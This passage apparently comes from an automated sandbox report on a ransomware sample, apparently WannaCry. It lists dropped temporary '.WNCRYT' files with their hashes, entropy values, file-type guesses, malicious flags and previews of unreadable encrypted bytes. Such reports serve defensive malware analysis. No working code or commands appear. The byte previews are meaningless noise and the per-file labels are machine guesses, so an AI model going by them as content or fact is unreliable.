                                    Preview:..Z.#y../..BM&4sX.4qL...I.<.V..fo..:b/G....c.~.....;p.qVn.....k..<R.I........Q.......x..._...I!..G7...&...y}..8Y....:.wZ.4. KF.[Mf ...'.`Ys.....j....k.L.$..F........).....{.sHjI....5.....Q..p...$s.{D...b.(kQ....6`.p1.k..S....\..R.n{..Hu...x`x....Z.:u5,s...>7W.j....Y.s:..s.zM.HL.b........n...N.].....F_...H5".%.j....Q...#.....8...2.1......H..b..87..<.d.q......< .w.p...'...%..A....T..?k.t.[e.....U.i.s.~..m.zeG..E.mh G..R.]..n.......CI.5..5c........8.S.....).............q....Z..f2..n.pVK*..LH..-....:.(..jZ/.Z.-.{+J...V.2..l?.I).980..Q.C...-.m..u....y.:o~|...j..........k..Fk$Y....+.f...1a.X.......D.DG.5..N..z+....b.[...]...9....)0.|+g..@R..o.......i.1a.6.Wku.xs...._....&5{..%."...9...,k...#.mXy)a..}R....-...V....s....1.......E.z.....,.:...l..+u9......Zb.0M..n.@'..AF..$j...b->[....t[..i...{ab..6..[..)#.Avu...5...z. gu.Fz.0..;&....p....)....L........G{....[.....Ho...~#..r...~0h...r.R.=TM......8.].S.0 ..y..D.@.A1..R.z.4../....f....7.ZEU...e.f

                                    C:\Users\user~1\AppData\Local\Temp\29.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.801322511268128
                                    Encrypted:false
                                    SSDEEP:24:BKpjcmSWbYPAuGdiLnZNtppchwiE2KdDllhoRM8GKNfwhhAD:UaPvGdirZPcqDllhMdNYhhE
                                    MD5:962021A0687EF8B744B05B02295E1AA0
                                    SHA1:902632BCEE3E25913D776CF64E98172B184BE99D
                                    SHA-256:CB06B68C0A8F992850D510AAA27F05C4D28A6EF85977571C2FE7BB2CEEC18A91
                                    SHA-512:3B5CB72E4D231BEE2C0B76E28F29404FC89772E707264BC312B84944BB72697E9E9A4B43D7F68681BA8F04E6B7CC3CD1792A49A66B43FCEEB5264A061A381DDD
                                    Malicious:false
                                    Preview:.....w............>*J.i.Eh{F.b.7.>...m1...A..V.0.l)?<....RB.m....,..k....?7i.P........RqH..Mz..+..f..;..{...$&\..Lz.......#M.C.....7..e..H..'........Em.z>F.f.V..WGS..............7....n..u.)......hs.g.+....>y.^.............t..P.E......Q".u.0..>..].5wG.,..8"M.Y..-...a~...>......i.{Y.a:....Lj.-..)..D.2-[.....;5./O..v(.....n..'..)g.g....L..E.>.[..(A..m..p..!.....QSW..8..@a..wO.aO...|"...I.H..L./...Lk.a...l6..A.S..../..m.@g......?g.;........q/..<W..4Z..0..qG..Jv.l.........-...T..M.N.6.m8d~......G.i0\L..SD.@a8m...d.......D>....q......e.w....b.A.4......ZG..1^WxK5*.J.."....^..>.e.c.*..R..#....YV@|*..D.eD......p."...:c.j.!_..!.b......E.*.C....^.w/#.HW<...&:.;....[.nI......a%1n..8&......m.3...b.y.s-....Z......|..{:g....Azt.B.....y... ..|u.....n...b.*...g.S{..7@..M..bP...Q.v....Vil....=......h..?......F.>.c..B....?... H...d....{.8..D.*.5..l.@.>....&#..o.S....Il:.~...<.K.F....C|?..Mt....8=+..T...4.J.x,.[g.P.}.lc="zg..T_o.n..<.6 ...

                                    C:\Users\user~1\AppData\Local\Temp\3.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.800423660789983
                                    Encrypted:false
                                    SSDEEP:24:YUsa5+wjVp+q4FJqHp86SwVztmY26srKG9+mgo+8VoRixL7H0tg:7r5+YfO6fVcxKG9+mViilUtg
                                    MD5:588E816F6268BFF594D4F8F340F8AA79
                                    SHA1:EB7F39FFC880AE427078355CE95B1DE00BD419E3
                                    SHA-256:463CA3BDE92E184FF60F3AD828E7ADA445E51639F9A05E3977B36C22D42BB673
                                    SHA-512:2D05534DFB9A910B8DCD7FA6446E2B500755EF8C11144AEA092CE90C6FB1658F2557B9E93E3D9C329ADC1981BCA835B923255B60994DCD55A3C6844C618EBDBE
                                    Malicious:false
                                    Preview:...B@.@.~._.H.P.Q...jyV]..0..ju.....`...&..W.....H.^.YI}.8.?.E3.U%,...9?.k.....@.J..W;`.6.P......."P...o.T..h6..$...Q....YZs8a$X..qO;.\/.vb...d..q.H.....Q...S...O.QU.7..L...47,..<e.q#.4...9..y....~..N...fo<S......=..M..Kk8.. ...)s.uLU1..W.Y*m..b.Af.W.0sNLPK...'..J.Y.(....Q..9X.+...%.*l....&...-q@N..1-.V....S..`~...Cp...v.6..:.i.c.e....I....lI|Y..?x..U.....bco.Z.)...f..........6.Q.....:.$.:J.G;....y{}ZD+.q..`b..^#......K.E%.".h[.CS!.`..q[b).[.E.....=.....X4..~j}.vUrm".B[8...8.)Wb/...1._.hUv./.....R^.vw]G...n.R.2.VC|R.......~....X..9.tb..E].3....49..A...cM-.4Y..............^...@..$..iO.,......V.2.....].A..a.......Ji.59........t.....>`A..)y...L[......;..(.,\t...w.'S..O..`..=,V.....*..,...qz}....D...@s$dN5.}.&..^.....\.q............J....!^..@Q...'(56_|jJ.!...........OW.s...Q.?.\E..o.{.....T\.......k..-.EZ=P...G}......>\...#..^...9..Ad6r...0..77.1.D../K.W%.k....jV.....S...l.......=..Rz._..y......xJ{~n.6L@K...5..!D..Z.+&..R.z.........8.U$..+.

                                    C:\Users\user~1\AppData\Local\Temp\30.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:COM executable for DOS
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.800183839624343
                                    Encrypted:false
                                    SSDEEP:24:fZCVobWldSct9by72LyoHUW70nmTti/rYHDMdy8is5ce2G/rQza:fZCRSct9+Kfp0nmTti8j6F5XzzQ2
                                    MD5:F7E0EAEF771E89727B4C3866B688E113
                                    SHA1:2E2C0F98CEAB9F98A7D4AE89E6A4DB172F826833
                                    SHA-256:E266DAAE6D601F65D7D1C1AE53A3D29721688C8EE96D7C40C665DB1B79012D54
                                    SHA-512:3965AB56BB4F07B4D09D4ACA47ED89AA4950C7BCCE22C10828D9F5DA1C0B8D9FE3013CED6AB47CAAF0BCA8C0C61E1E7A5A69F944F04F72F3AFE970E08F71021D
                                    Malicious:true
                                    Preview:.*..l....[.}...m...5m..3%.*.Q#.w!....]...4.t;?.......Up.r)yt}..`y.:..0.S]...>.x....2(.S...e.Q>..G.f.....q......._.^V.Y.....e#.`..E|.^..TE..,..........W.c}J.0...5. .KKO.......H/. P.b...F.m..@..U.h..(swgJ.B>z.Ye)...|r.gTq.\.8`......K....~.n~..`...3.*.x.y)2)..j?.G...**!....]..rm.q#................\4...Q...4I..u._.....7)....X.S0v.4s.V....p...)1P......c^..v.Z.x.vf.....+'8(i...T.r1W5.)-1f.vu....Q.6.)*.e,:...$.....B#.g.\..\?.*.........\72e...I.EH...zs.....VF.l....;.p....Z.......>..^a.n...0..%p..L.S..)..gP~v...Z6t.._HON...q..m.B...9`W.D.$.2..My.e.A.......Sy......d4%&.....v.>...D=.....dV9n.MC$........U.`..l.77..[..hyPe.$....9D...W..r8.IF|h.........kU.{.)..b...8..$..*.S.>rN.Lp..7...O...#|e.6..i...z1..)....{C..=.VEq.q..l.(E.......~...O5........^..iM`.*..ID#......E......a.;.%K.....U.A.`.)nQ.e...0k..r..M...;..%...~m.!..Aw.........=5J'...@48I.r.]U...&.X[A3...%.."....r.....%.H...v.@.C.}...j..f..7...H.B.Ev.jq.W_.d.....A..*Q3..8...H.........B

                                    C:\Users\user~1\AppData\Local\Temp\31.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.801442726397048
                                    Encrypted:false
                                    SSDEEP:24:Hbgsk00aJwAoH7vJzo9bOPkSsWKiJBgJcN170lEQOwEeTRTC:JkfaJwAoNCiPsEJBzn7eEQeeY
                                    MD5:DD7715AAE233F3573625D8A8188CB8C4
                                    SHA1:7442DD17B1EB947E9FBE9C8E78198B61C88EA434
                                    SHA-256:CC9B551078C7CD107023224F7E7D073CE1F71B75AEBC6B687799663EB285A1DB
                                    SHA-512:25749F32AF5464154C896E6B438F2BFB85876DDF800BAB2C89E0786ECC8557273E3B45EBE5027B534AA31FF3CEF07CE6CB6AF7EAA6E85FE5D021C090300050B1
                                    Malicious:false
                                    Preview:.]...`(F.k.U...........@....Z!......L.... ).k.K.....t_.6k...P......A..7d..`..c U...1.2.{.k5;.....wA.ph...SS..6f .6.7...TW...k.iD8E...,7.Q...N.."..s.|<NyA.U.U....k..g...cJ.B?.A..Y.........NX....MW<....s.....pS...}..9.`c...y...P@z...8...+mT?.S.5 .*....!...$:.... ..E.P.H*._Y.....7.b...I..{[W.Q+...{./.J.9.{.-.$(...#+%...$...p..P.S..P....E9..66.i.f.....yx.X6V.]..>...K.N.).g.....].|P.n.^N.{..7..zV.j..5Q...b..!.~..u.EZ....JI..H...E.V.TA..Y...?v..k...;..e.~..............>=....L%..j..&~....j..t?.R.9... ..=.:..A66F..JQ...f.j..)c.'....].....b.F.kJ4B..t......wn..t..W...c. ...A......I.@.6v..M.E.d..l..o...!.?.t^...&....D.p...&..I....A.....?O..&$...=...*. Q..&......;UU.....5s}h.%q..#T.*+Y....bsM....2fE...]....i..|.'j=...lv.....TZ`JBz.E\?....o..:.^r.!L..s...g509......W......(.....s..\..mA?s..U.MX...~.M.Qr....yJ......!.@/.#"Z......-..LVE).....%..t8v.:...D9....hK=.F.M...z...I7.d.G.+A6...=.0..S.....O^.y.>/d.:/}..+_.GH.R..+..t.~.t_......<E0S.X.<.cT..

                                    C:\Users\user~1\AppData\Local\Temp\32.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.7920051578361
                                    Encrypted:false
                                    SSDEEP:24:eYsIFUo39WuYG/EstaSeUvyCIM9NS648nI9DJBy73Cjs:ekUoptbeUacD4vDJByOjs
                                    MD5:D5BFBB9A82AC477B4586E8E37A2EA591
                                    SHA1:8C6766033D890A2605FD41B642DAEC71A46A7028
                                    SHA-256:8001BECFC00EFBB89B4495172285C7E1F6BD38352AFAEF66FA3F5AEAB846772A
                                    SHA-512:30CA665CD57B4724E2DEC448CAA6F99B23983EEB90578F6AE559FF2155D4BF6E2CDD881A8F1EE5C524863497DF2857A0985A4D29547DCF256C25EDDC8EB71A78
                                    Malicious:false
                                    Preview:..S.|...0....U.xl.h......{#.$.....n.....J.5t$..2....8...!.,..v.Q..!..Xg`.z.ccXRd..&......1...........P..-.u.....Y...La...*.I....7>..f...o...{Lzv..f........*....8K.......<..2.I...9.."=.(..._...5..HD,...<'../...m.........Hll.I.b0ELH$......Z.=...+.T...._J}:q.@i.x...sN.....F..._S.CD.$..N..J_.O...i....m...a0e.B...m ..@.t...V.<..4.fK{\...[z....x..$3.%f.fu.\.....x.w...V7.FK..C.+..Z.Vz.:Y....$.....W.*.J....!J.Fy...i.I_w.Cxbk......f.o\.M8:...H...7aj.A..p:.0<.z.?.=.......T.../..I#.AC...t.W..+Q....1......2..2.....;V..H.U...La{.`....6....N..n.....e6...:C.0[...R.".".g.O3..w....U."..........8.GHa..."Wd.....|J}+.;..........&:.]!...S....q4.>.....pk./...g.'.q.Y/oZL.{5.`w...(|.1.2...\.9..Hm..$.........-.......zc.t|3.?.t.5..wd...V....X...H~....y..F..>....p.;.SapK...k7...lJ..:.o....3^....3$RN..;`.j....>.l....n...H...s(E.....L..X^hc..j..;..H.p..f<...8L...p..kYg...v..I.u....p.H.-..{.'w....n.\........_....*t.|7}1...B:k..fz..1.cX.....>."l9.,d.z...Y/.O.ai;_$.

                                    C:\Users\user~1\AppData\Local\Temp\33.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.81188632116243
                                    Encrypted:false
                                    SSDEEP:24:qpDCArBQFvs2CmmUlaUu5B/MCc90YSFrgyVvAqVwzIq:UCAtQxBPlWZc90YSTVYqVtq
                                    MD5:72637C8927F82DB61D798C9D6E6F51CF
                                    SHA1:C969F0F1C54EB0CFF0ADB4F28654AD6C0A2D266B
                                    SHA-256:36D31E6DE837B9EF74A255BE1BD83567731C6572AAD352225E02117364E4CFA7
                                    SHA-512:4900515839374C48669141D0F571B76B89B4678D2D1BE31711E520A25037C22FCBB0432310662656DC8FE218CCDF1C21E034F008440093B0B6F8257415ACEDB3
                                    Malicious:false
                                    Preview:..s..i...)....`[.y..+%.."...7.W.Oa...o.?i..[.-...j.H[seU..T...+...B..^'Bgr....#.s..^Qh".q..Y.......%....^.K7..C...9.ZtA.]Zy......1..[.|J...Q+...z<..2f._.:...i1.d.N....=....(..(X..7.....<....F.HD...y.M...=....}L..i.W.I.x..6...'.)n1..Z..f.x].;.X...t-..V.s...O.....g...b.l....P.\..k..R2,......a."...I?xrk..)..7.)p....O..t"......Jk...Z..C6r...w"...d.0Ej.....-....}..u0|.[..EG.!%..sY..2Fj..@.X.Q..o)...-.N.........F.G.j...d.....k.h...&....3......."..pK.Ze.....K.8.'...{F".F.....M..:.........u|_..;^=...}..XR.-UT2_....g.F.A..T.?.5I.r.K.LZ..\z-..o?..G.9>O4..X....r..]EY.9.[.C..........b...Z.........U.......W..0....4t,iB...v.%].....)i']...Mgd.Jo....._..x..7|.%.I...e....0. .d...[..\...X...E.N=p..}.*;L.?.g.\.u_.|:.}.).4....a$I.0..oq..[./g.kQ.{.....(#....']x......dmF.xV.V./..p.....}.....;....U...2.....Az.3.H8 H.G.../.FwMe.4....m.1..O..........U.T{2I_a...1j..J..p.il.......$Y.n.V.&>.%oSm.P.oP...T+.........2.....#.:.........&$X.N.B....L....I.J..U,..

                                    C:\Users\user~1\AppData\Local\Temp\34.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.808278251858984
                                    Encrypted:false
                                    SSDEEP:24:yNmrc5HcGTTK4fYe92g/ZVZ0lg6OGlZ5B7GuDEu5ti/rt+9:yNec5H9TTK4f79ZZn06UlZ5B7GCR5tec
                                    MD5:39B54B0D40C63AA657B6609E6E42F0C3
                                    SHA1:1B5463FEDCDC7E1BFCCE8FF3063319053EF68AED
                                    SHA-256:9A7F5B609500C7AA153BEF7AB046E410EEA9AB4915A0BF3673171604789D103B
                                    SHA-512:82BFC26FE0513AE9E3F95BDBE68DBDD1360EC42A49149642BE6B805888905B4CF1A8B7360FDF489780CECD22E52DA180CBA3F5E8BAA468BDA121F0FE95A894AF
                                    Malicious:false
                                    Preview:b.D.p..XBqn.Oua.a..e.'C..B..Z.C.......t.B..........alV0[..$.|1.I^.S...I...,..m.../....L..!..aV..2w.......=....'u.V0.\N....5<w..j..X2...7........'T&.........z.......08x.i..}.n<..{..9.].].3e.^d.#....;.X.W.f(..e...... .|.e..a.....-.+)=@..$.R.R..g.*....I....)dGQ-.fO...)..x.2QN-_Q{5.dw.mT\....HO[......jFn....".@l.<.+.jN...{..U.#.u...8.W(..-.&N.n.... ...b.<..|#..dM...7.......u.....)_M.....$9c...Qr.^.]....#....^2).RB.K..O.=.k.r....J.L.L.;q(U.l..:...R!.=.Zl6n...{,Ye2.#....~..(..:b.NE.QN..q..|...8.Xb.t....t.L...'.$......'...XPr9.........e/..g..:...)T..f..O..v..* s.R....Zw$..r\].AZh...J}.Y..4lO..a...9.%7h.P{.}....5.#..[...0.0......q...'....._.]....6q3...aN[..[^E.;Oy.Y.......7...d..}M<.....J!zX..].R6Ft.0]......IC...........r..EbZ...h..M....D...'...;..k.~.....Ez.6A..!....1>./p......x..Z\Ax.8|.H..9.....*.._........|7K.f..wDP..m|..=R9G.mA.........xDU_U...&8..&.f.......w.......S.*<...n.o..P..JZK...G0(.t.Y.b.....j......O.o..N.;p.........%...F...

                                    C:\Users\user~1\AppData\Local\Temp\35.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.8247921038028805
                                    Encrypted:false
                                    SSDEEP:24:XKIAYTonAqXI1xTz3dENLpqB/U7WfjE/jxmaNt56Y/G5V+G/:XnNTyuxvNENLpk/D7+ZV6YO6U
                                    MD5:103A0D964B45E812D9CDFC214EABE0D1
                                    SHA1:E2EFC8302E45ECEFF68ECA555A959537F2479FE2
                                    SHA-256:BA094D16EF2E1E9066FD419A7894E4C7A9213B254B12537C91F7A862FC4556E1
                                    SHA-512:633CFC53CED2C42A14EA93D979BCA1307C5C4F9D1AE640CE69D9F87D200646161DBA139E766825F3D9773EF660249D773A7D3353A476C1409208D98CFDD9113F
                                    Malicious:false
                                    Preview:q,[...j...(.oc.[.....R.x..u.l...vG.*.xr6g....._.|Y.i.y..o.7......m/xW&$.m./._#&..ZET.......iE.+/.h....d...n.SU....r1....g.%..42.&.D....h...}J....2.../3pB.Zy^..'..<Q.5.......C...|.3$..J)s ...5.........!.._..k.k...f.c...l.z.....N. .i7}...j....*A:. _@w.PW.4...L.......>.......W..U...<./t.#I"bF.2xc..5hB..P........0[..9.Sp9...{>..)m..U.>GZ..'h2..b....Z.fD.&n..F.....P!. Q.=..%Qv...,..d..0.......twq..n..|.R....j.I.....R..../..3..zH...L....lt.h+spd.Fa.y.+.r....Za1.bh...(Z.....8...S...S.....j..p."#..=.k\TB.ghE.-.$....'iG.$...\.<....q. _1..0....w..v...."%..n...\7..0%........A..r....u....Y[.."y...3s............BO..'.N...^...y........d.d....3.W.....d.....}.Pyg.".i.P.>.A..=H[..`K...I8.l.....@...M...4$.G....X..y..H.......+...).)....Wr...D..o..+.....,...v.9#...T.*....H..1.u_....;....*.K....9.....>.t..|r./.([...emL.........x...) .....c.w...a0.,H#pj............Z...(.c...qy.b...8..7...a....n..$...fk........Y.U. .vy....P..Mb. ..aQ..eNA..M.zf.`..>j.9..].G.

                                    C:\Users\user~1\AppData\Local\Temp\36.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.843441434864849
                                    Encrypted:false
                                    SSDEEP:12:rZ+jdoX3LZoUUjV5Utfmi4Yr1qFkeNveZmCmw3ejUqSHLB/bljklMowlyYS0N4Vu:rIGyL6rszVCHVJB/9sMoDsN44foUxD
                                    MD5:257A61BCBC61E4B32EFB272072C5EF0B
                                    SHA1:E3DB30784EF39117F432BEF4F35321DB2C2A6C2E
                                    SHA-256:38358B46AF41FB8599F41A16927EB8A3871023D92FFB16038DC8883EAB1B84F4
                                    SHA-512:4830C943B62AD3759DA9872C5ED5A4329E42D409F1F24683DE494B10C62225D4893C92DF7DB4F7F68EAA519D8E3D4057A4CCCE2F46758ECE2B3E03951641A1BB
                                    Malicious:false
                                    Preview:"e.D...X5E-.5.{..Z;.-........\.5.Z.^7.|FqX.}.....>....J..$:..B..I.'.........S.Kn..Y.H..(......$.l.Vq...8d..w..{..A..U.b.YMO;.Dg#v.t.....v..4.P{.....%.5..|..m6..-........;...(..Qf'Q....*p......6d- .L..4>.X.0....].....\]1"..PY.Y...r..W..a......H.....b:..o...\..I..4.Z..I..qe...|....s:...U.O.W1..2...h9pz....\u...E......t.y.S&.X.L.......$.O.!.z.3.........'1......[~U..`.8.Qn........o..u.$..r!:.+d....0|fa....y....F.B...+.g_7#C.Nt..d......]..A..d.t.). "..(a....H..k<.....{..~.......Y.......8....5...55.\C..K:...H..D5...WZ.T9....u)Gp...,.E.....>j....W%0!.]..x....`a.+......qn.s..>...JV7...e&.....o..-.R..3l....W.....jG.A....KG.x........p.A!......:.....Q......^...2f.......4..r.".hM..A=/.|......yg........!n!.-...f......D...M..:`..x>.o.8V=...('C7..S. m.r@.*~.6..]...x..l..S..>,..^=..j-.-.!g7.p.e>.F"..."E]$t@......y e-4.5..]'j.^].i.\..S*....#.....=.".......<8....ZrEU..."u...%Y.0.Y.Kc.AW.._....9..9.....y... ..e.I...uA....7<.&i...%.....B.?.....?.H....7R.;...eS

                                    C:\Users\user~1\AppData\Local\Temp\37.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.804482285698521
                                    Encrypted:false
                                    SSDEEP:24:X/WM8hJbPfYG+20S5iS/rWa+6a66916OYhZMESZCheaj7ZM2AE:ObhJPfexS5iS/rW1ZKfSZCheaj7lAE
                                    MD5:CE22EB0EEFF777CD1119723E5332D7B1
                                    SHA1:95796744DFEF55D22ECCE8FB06124469C52AB2E4
                                    SHA-256:A6AE3DDD4D10BFC813456FD97673C12544316AB3BE9D86AF5E9077DFE2203023
                                    SHA-512:7AEC220FC9FC5D646AD5F1F5299CB52D451D697194003A623D39CF6FFF83237485CC8BF30CCBC9AAC808E79C82CC49B05A97FCBE1329FAD00E6BD721946C3A8E
                                    Malicious:false
                                    Preview:Y....Xu-x5.4<.\.3..r...(k.@..._.L.t..._Ld.......C=......Q)_.......a0]..8..L.L_.m=.^..[.hl.7..QF..s.*.[...R....;..2u.9e.=M?.........G.Y.L..Io..]$..Uj[.U1CE.RJ.GV.{Ln...~C.....]P..L}qJ.M.-H.4rq...N.s)....F..">l...P+...~.......wa.%.....$,..2..u..<Q.d.).F..{.K.a..q..cs......5-..A.b.r.....d....S.k..;...4..q......ID...k]..5>..r....%P.?2+..8F..@R..(K....,d.3...^:..3..3{z.,....v3..].Rq....i.%./.[enW.S0.t.Gy.....)b1.+...zl...S.68?*[.XT.09nE..U...Y.#.?3....s.I'7....9;..{uDf.m..\.|..l.z......oPY.......gG..-J.D)...8.....&16.(g.!Q...-..Q..3$2...j..=..wY...J~S.;O6..r.b.+2. ..jb.A.:">7./........I@.'_?...b:=.D.W3.V.0K4..'...',....a....-.>.4.".u...-.Mm......L^.o...v...............D..C..0....../p..f....b...p...d4...Xk...Qc.1..9.._0.p.y..#.P"..xP.)...Q9~&xxM.....M.p....3O..X..k...(.gl.B..v....W....b.......+.xG..3..m50..w..4r.#{.F..H0.....J._..p.s>.f..u.a..c.r..P@.b..^..Yv\...2Fw+.M6...~...k. .k.Z}..`.z.0~p.GNp%'..Z..7y....G.....y.6..,|..m...w..u.<y.3

                                    C:\Users\user~1\AppData\Local\Temp\38.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.8066199180274936
                                    Encrypted:false
                                    SSDEEP:24:0c0lpp3bxicIF3moDiD5bVFbBKw5w518KmVL3CuFiYKw2fPI:0cs8f2/9f8w9VL3FQdlY
                                    MD5:AC6D9DF95AC0CA81057CFDA73AE84F46
                                    SHA1:3F5F12A18A5EF081A4A0A173AF7720D33A95BFCB
                                    SHA-256:375A1CA7A39694115779F8B840AE4B52036B6C510892BD13AD8A57702FD7DE73
                                    SHA-512:87750247676BFE2FE4BC7DFA919A1A07A267AB9BB19000D0189FD8D6E14E0466C845153555FA076C722B222F55D6B46357745600464CCEE615A55F8E3F508BFD
                                    Malicious:false
                                    Preview:.p$hJ[.X\.;.L.......f%....[Y..c.;..*X......>.xl.XX.].........B......Y....-.EZ.0....J...4...[.kT.i2'.gu\...DZ.,..._............?./.Q....Z...B..y.h.MD.44..4.,.;8..s..<*.2.X .Khe.}&+...j.c.*j..........o.....vo..w.r.G...aA..H.4...'~.C..#H..j.!...J.di\...Y.o..z'.".."...*$..sY..t.o..\...=...}.|`..|_.UI.J.cZ+..bs..,....uv.+.....l....i....E.0.fB..cU..^..jS.....,...|.2l.f...H...X2W......M.!...Q...DT.....:..{h.Y.@.Q........G...!(.R.C.P.6..w..r......7-..1..,...*.r..6i...l..mly.....9=.4I.B..C..e.....Vu._s...w..\...Z.....<._....)}.....39.V....._dms...lP...]a.r.....8.a..._.2...]7/)...r...b.<....\...............Wm......dl..|...n.XI...q){-.Q.B-.m....^.:..;o%Q.8.G.10......)......\[.u.i.e..t....u:.0i-.Mw..[<.._..VS...K7.)...?*...$)......X.sQ...M..[..q....kY../y^m.,.Q..w... Q.Ya..q..gi.s...&b.Uy&..1.......}<.]..v$..'`O.z.x....)..O.e......m. .i."..nY".&.$.....n.x$M".O{A.....2=`...@Q.. .....`..eGN.....5.Bx.....p....,...RWOJ.........`.........:"Y\Jf..w...P...*2

                                    C:\Users\user~1\AppData\Local\Temp\39.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.811676260884001
                                    Encrypted:false
                                    SSDEEP:24:MwEo+F6Kn0JnLYSpzKToXpA0gxvNV7Tv8Tn9:HJXpzKeA0gV7TY9
                                    MD5:6640E47C32C3ADAF87F7320ED42397AC
                                    SHA1:65E60F8C7E110C4E400E241A38319D05A66739CF
                                    SHA-256:3628C030EB9B49DCD4D08E4EEF909C70EAC088EDC1824BF1C68E27B97DDA8954
                                    SHA-512:F6042311B28E0B0FD779E38AECFB04512BF57C58CEB980F0E611BE2A547186877C2119C37C85554A90D0EEDE3937E7468652094B324B45754DE3E5325E34D495
                                    Malicious:false
                                    Preview:..}...toA.........Fu.......... "....|..4.7sI[_X..i<.U...^..z..?......'.mY"P.JB.#m.>...l.4....iV..S.1 ....)..$G..Z|.-zJ.d.)..<.3lE.p...6.KfI....x...2...;.Y..R..S:.{...%.,...w..k..b.).......<$ S.....Z.....[.....E...b(...\...j....ewSw.Pum.vHJ..F.h...h..k......./..Z.....>.3s.-3... ..n....x`;..9Y.en.}........5n......g/.....dO.l.j.~ ..Y.x..F..u...<h..{W....GJ.g.._.pV.X:x...._..2.2...'..V...6uq.X...m|.....u.S....@..c5...... 3sZMHn.Y....my(1AN.L.S.K.n>...z......\.S..~..L..8........<(.LOW.l.^.$..o.=.Q.6g..`.R..In;.....f...1+.yQT.V].Q...R...b.e..[....=......m.EY".....?%..7...d..............</...a..S<.R/..Alo...r.9.#.7...M..;.7G.D.....l...`6.).z........V[.....f.PI.(.(..Q:D..G...1$b\L...y....p}i...h.H..I..c4..2.60..V@9..!.&l/.*!.?... GM....O..YS....1z92.M.q..D..vb:#P..q.F..Y.K.-..0.P....x.t....RT3..._3......p.....;.&WR(I<.>.Q.....?...'..z4..9..d..-.%..........Y.`u._..9k...gR...J.~}..g....-b.";.H........P..2.m..t\..@.........+.PW=EU...#tMz.

                                    C:\Users\user~1\AppData\Local\Temp\4.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.796593192945193
                                    Encrypted:false
                                    SSDEEP:24:t68mOxP0Bs0JPbbKX1D9bRGsncIm/oxgGJ25zHh1dIds:t8OxsB3R/mRGYLwmgGJu1dcs
                                    MD5:651FC6F257E5E5F1C6F25E052294D9BE
                                    SHA1:68FB239767CF5119BB45682F304A9A636B9CD4AD
                                    SHA-256:873F8E84FFFD3317453896E7633158F3C976CA1D212114B3192EEA03A264DB7C
                                    SHA-512:0B460AB3807AF72F1566170E565C181232FEC047C67E5247EE6BF6251F988DC9BC8336A15A16DA6122B75C7DACF200726EF63582444D19F020C1BE81C5DE60D9
                                    Malicious:false
